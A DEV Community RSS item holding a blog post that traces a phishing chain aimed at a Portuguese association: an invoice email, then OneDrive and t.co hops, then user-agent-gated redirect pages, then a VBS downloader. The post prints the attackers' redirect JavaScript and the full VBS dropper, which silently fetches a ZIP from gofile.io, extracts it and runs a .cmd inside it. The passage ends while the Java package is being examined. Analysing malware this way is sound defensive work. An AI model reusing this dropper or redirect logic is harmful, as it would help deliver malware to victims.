<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: JP Dias</title>
    <description>The latest articles on DEV Community by JP Dias (@jpdias).</description>
    <link>https://dev.to/jpdias</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3886%2F3944845.jpeg</url>
      <title>DEV Community: JP Dias</title>
      <link>https://dev.to/jpdias</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jpdias"/>
    <language>en</language>
    <item>
      <title>VoicePress5: Tracing a Phishing-to-Java RAT Infection Chain</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/voicepress5-tracing-a-phishing-to-java-rat-infection-chain-gd1</link>
      <guid>https://dev.to/jpdias/voicepress5-tracing-a-phishing-to-java-rat-infection-chain-gd1</guid>
      <description>&lt;p&gt;Another day, another &lt;em&gt;not so boring&lt;/em&gt; phishing attempt. This time let’s dive into the analysis of a phishing attempt against a Portuguese volunteer association with a multi-hop infection chain designed to bypass most email phishing scanners.&lt;/p&gt;

&lt;h2&gt;
  
  
  Spreading the Bait
&lt;/h2&gt;

&lt;p&gt;The email is being spread using a trusted Spanish email service, &lt;em&gt;serviciodecorreo.es&lt;/em&gt;, which is authorized to send emails on behalf of various domains, including, in our case, &lt;em&gt;ourense.es&lt;/em&gt;. Because the SPF records for these domains authorize &lt;em&gt;serviciodecorreo.es&lt;/em&gt; as a legitimate sender, the malicious emails pass SPF validation and appear trustworthy. You can check this with &lt;a href="https://mxtoolbox.com/spf.aspx" rel="noopener noreferrer"&gt;MXtoolbox - SPF Record Check&lt;/a&gt;, which returns &lt;code&gt;v=spf1 include:_spf.serviciodecorreo.es ~all&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;Subject&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Envio em anexo - 202602213326.&lt;/span&gt;
&lt;span class="nt"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; 26-02-2026 21:45:33&lt;/span&gt;
&lt;span class="nt"&gt;From&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; placeholder &amp;lt;placeholder@ourense.es&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;To&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; placeholder@placeholder.pt&lt;/span&gt;

Exmos. Srs.

Envio em anexo faturas que se encontram por liquidar, 1 fatura já se encontra com 60 dias.

Atenciosamente

* 1 attachment: Fatura.pdf

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The email does not contain any obvious threat. The attached PDF is innocuous by itself, as it only contains a link to a OneDrive (&lt;code&gt;https://onedrive.live.com/view.aspx?resid=...&lt;/code&gt;) shared PDF file. This file has the same content and look, &lt;em&gt;except&lt;/em&gt; for the link on the &lt;code&gt;Ver fatura&lt;/code&gt; button, which now points to a URL shortener: &lt;code&gt;https://t.co/xxxxxxxxxx&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frk9xe8vg184idaw1nqo1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frk9xe8vg184idaw1nqo1.png" alt="PDF file"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is a nice trick, as most email clients will trust files with links to legitimate sites such as OneDrive (having the short URL could trigger some more advanced scanners), and having the extra hop in the chain also reduces the probability of the short URL being followed and analyzed by automatic tools.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting the Juice
&lt;/h2&gt;

&lt;p&gt;If we click on our &lt;code&gt;t.co&lt;/code&gt; URL we get redirected to a random &lt;em&gt;Hostinger&lt;/em&gt;-hosted free website (&lt;code&gt;lightsalmon-dragonfly-XXXXXX.hostingersite.com&lt;/code&gt;). What happens next depends entirely on your browser’s user agent and on a reCAPTCHA verification. If you try to access the website with a Linux-based user agent you are greeted with a broken page mentioning a random Adobe update. If you try to scan the website using, e.g., &lt;a href="https://urlscan.io" rel="noopener noreferrer"&gt;URLScan.io&lt;/a&gt;, you are greeted with a valid and working CAPTCHA verification.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnyytswrb49030932dwkg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnyytswrb49030932dwkg.png" alt="Broken site"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm6jawkwhj4uk8a7432ck.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm6jawkwhj4uk8a7432ck.png" alt="CAPTCHA"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By doing some cURL magic with the user agent (or using a User Agent switcher in the browser) we can get &lt;em&gt;close&lt;/em&gt; to the juice.&lt;code&gt;curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" "https://lightsalmon-dragonfly-XXXXXX.hostingersite.com/?2003085881928339" -L -v&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we have a webpage that performs some JavaScript magic on &lt;code&gt;window.onload&lt;/code&gt; based on the user agent information, again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ✅ Windows → mantém igual&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isWindows&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isChrome&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;isEdge&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://t.co/h3SvBFiWgg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isMobile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pickKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mobileTitle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;mobileMsg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;documentElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;lang&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;title&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;mobileTitle&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;mobileTitle&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;en&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;paragraph&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;mobileMsg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;mobileMsg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;en&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we get a new short URL. A nice detail is that this campaign does not seem to target mobile devices, as it prompts users to open the website on a desktop when a mobile user agent is detected.&lt;/p&gt;

&lt;p&gt;By following the new URL we get to a &lt;a href="https://ngrok.com/" rel="noopener noreferrer"&gt;ngrok&lt;/a&gt;-served page, &lt;code&gt;docXXXXXX.ngrok.app&lt;/code&gt;, and some new JavaScript magic. The code is almost the same, with the difference that it now redirects to a subpage of the ngrok URL, &lt;code&gt;pdf.php&lt;/code&gt;. Feel free to check the code on the &lt;a href="https://urlscan.io/result/019cbabf-f9c9-742d-bca6-55ce1c44b3a0/dom/" rel="noopener noreferrer"&gt;URLScan Report&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ✅ Windows → mantém igual&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isWindows&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isChrome&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;isEdge&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;pdf.php&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we follow the new link, &lt;code&gt;docXXXXXX.ngrok.app/pdf.php&lt;/code&gt;, we finally get some real juice: a VBS script file, &lt;code&gt;PL10-03-2026L.vbs&lt;/code&gt;. This is our malware downloader, extractor, and initialization script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight vb"&gt;&lt;code&gt;&lt;span class="k"&gt;Option&lt;/span&gt; &lt;span class="n"&gt;Explicit&lt;/span&gt;
&lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="nv"&gt;zipURL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;zipPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;destFolder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;scriptToRun&lt;/span&gt;
&lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="nv"&gt;objWinHttp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;objADOStream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;objFSO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wsh&lt;/span&gt;

&lt;span class="k"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;objFSO&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CreateObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Scripting.FileSystemObject"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CreateObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Shell.Application"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;wsh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CreateObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"WScript.Shell"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;' Abre a tela de confirmação&lt;/span&gt;
&lt;span class="k"&gt;On&lt;/span&gt; &lt;span class="k"&gt;Error&lt;/span&gt; &lt;span class="k"&gt;Resume&lt;/span&gt; &lt;span class="k"&gt;Next&lt;/span&gt;
&lt;span class="n"&gt;wsh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Run&lt;/span&gt; &lt;span class="s"&gt;"https://drive.google.com/file/d/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;False&lt;/span&gt;
&lt;span class="k"&gt;On&lt;/span&gt; &lt;span class="k"&gt;Error&lt;/span&gt; &lt;span class="k"&gt;GoTo&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="n"&gt;zipURL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"https://store-eu-par-1.gofile.io/download/direct/762b5bcc-XXXX-XXXX-bcea-710b28db8cd6/voicepress5.zip"&lt;/span&gt;
&lt;span class="n"&gt;zipPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"C:\Users\Public\voicepress.zip"&lt;/span&gt;
&lt;span class="n"&gt;destFolder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"C:\Users\Public\voicepress"&lt;/span&gt;
&lt;span class="n"&gt;scriptToRun&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;destFolder&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"\bin\voicepress.cmd"&lt;/span&gt;

&lt;span class="c1"&gt;' Se ainda não tem o zip, baixa&lt;/span&gt;
&lt;span class="k"&gt;If&lt;/span&gt; &lt;span class="k"&gt;Not&lt;/span&gt; &lt;span class="n"&gt;objFSO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FileExists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zipPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;Then&lt;/span&gt;
    &lt;span class="k"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;objWinHttp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CreateObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"WinHttp.WinHttpRequest.5.1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;On&lt;/span&gt; &lt;span class="k"&gt;Error&lt;/span&gt; &lt;span class="k"&gt;Resume&lt;/span&gt; &lt;span class="k"&gt;Next&lt;/span&gt;
    &lt;span class="n"&gt;objWinHttp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Open&lt;/span&gt; &lt;span class="s"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;zipURL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;objWinHttp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Send&lt;/span&gt;
    &lt;span class="k"&gt;If&lt;/span&gt; &lt;span class="n"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;Then&lt;/span&gt;
        &lt;span class="n"&gt;WScript&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Quit&lt;/span&gt;
    &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;If&lt;/span&gt;
    &lt;span class="k"&gt;On&lt;/span&gt; &lt;span class="k"&gt;Error&lt;/span&gt; &lt;span class="k"&gt;GoTo&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="k"&gt;If&lt;/span&gt; &lt;span class="n"&gt;objWinHttp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="k"&gt;Then&lt;/span&gt;
        &lt;span class="k"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;objADOStream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CreateObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ADODB.Stream"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;objADOStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="n"&gt;objADOStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Open&lt;/span&gt;
        &lt;span class="n"&gt;objADOStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt; &lt;span class="n"&gt;objWinHttp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ResponseBody&lt;/span&gt;
        &lt;span class="n"&gt;objADOStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SaveToFile&lt;/span&gt; &lt;span class="n"&gt;zipPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
        &lt;span class="n"&gt;objADOStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;
        &lt;span class="k"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;objADOStream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;Nothing&lt;/span&gt;
    &lt;span class="k"&gt;Else&lt;/span&gt;
        &lt;span class="n"&gt;WScript&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Quit&lt;/span&gt;
    &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;If&lt;/span&gt;
    &lt;span class="k"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;objWinHttp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;Nothing&lt;/span&gt;
    &lt;span class="c1"&gt;' Cria a pasta destino&lt;/span&gt;
    &lt;span class="k"&gt;If&lt;/span&gt; &lt;span class="k"&gt;Not&lt;/span&gt; &lt;span class="n"&gt;objFSO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FolderExists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;destFolder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;Then&lt;/span&gt;
        &lt;span class="n"&gt;objFSO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CreateFolder&lt;/span&gt; &lt;span class="n"&gt;destFolder&lt;/span&gt;
    &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;If&lt;/span&gt;
    &lt;span class="c1"&gt;' Extrai o zip&lt;/span&gt;
    &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NameSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;destFolder&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;CopyHere&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NameSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zipPath&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;Items&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="n"&gt;WScript&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sleep&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;If&lt;/span&gt;
&lt;span class="c1"&gt;' Abre o manual&lt;/span&gt;
&lt;span class="k"&gt;If&lt;/span&gt; &lt;span class="n"&gt;objFSO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FileExists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scriptToRun&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;Then&lt;/span&gt;
    &lt;span class="n"&gt;wsh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Run&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;""&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;scriptToRun&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;""&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;False&lt;/span&gt;
&lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;If&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, we get the URL to retrieve the malware payload: a &lt;code&gt;gofile.io&lt;/code&gt;-hosted ZIP file, downloaded using the &lt;code&gt;WinHttpRequest&lt;/code&gt; method. We also get our execution entry point after extracting the ZIP: &lt;code&gt;\bin\voicepress.cmd&lt;/code&gt;. Another detail in the script is that it opens a decoy Google Drive page to distract the victim while the VBS downloads the ZIP in the background. The complete infection chain can be seen in the diagram below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjpdias.me%2Fimages%2Fjavarat26%2Finfection-chain.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjpdias.me%2Fimages%2Fjavarat26%2Finfection-chain.png" alt="Infection chain"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Analyzing the Package
&lt;/h2&gt;

&lt;p&gt;After following the &lt;code&gt;gofile.io&lt;/code&gt; link we get our ZIP, &lt;code&gt;voicepress5.zip&lt;/code&gt;. By manually extracting it we can see a somewhat familiar folder structure and files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;├── bin
├── COPYRIGHT
├── legal
├── lib
├── LICENSE
├── README.txt
├── release
├── THIRDPARTYLICENSEREADME-JAVAFX.txt
├── THIRDPARTYLICENSEREADME.txt
└── Welcome.html

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a complete Java installation, as we can verify by looking at the &lt;code&gt;release&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

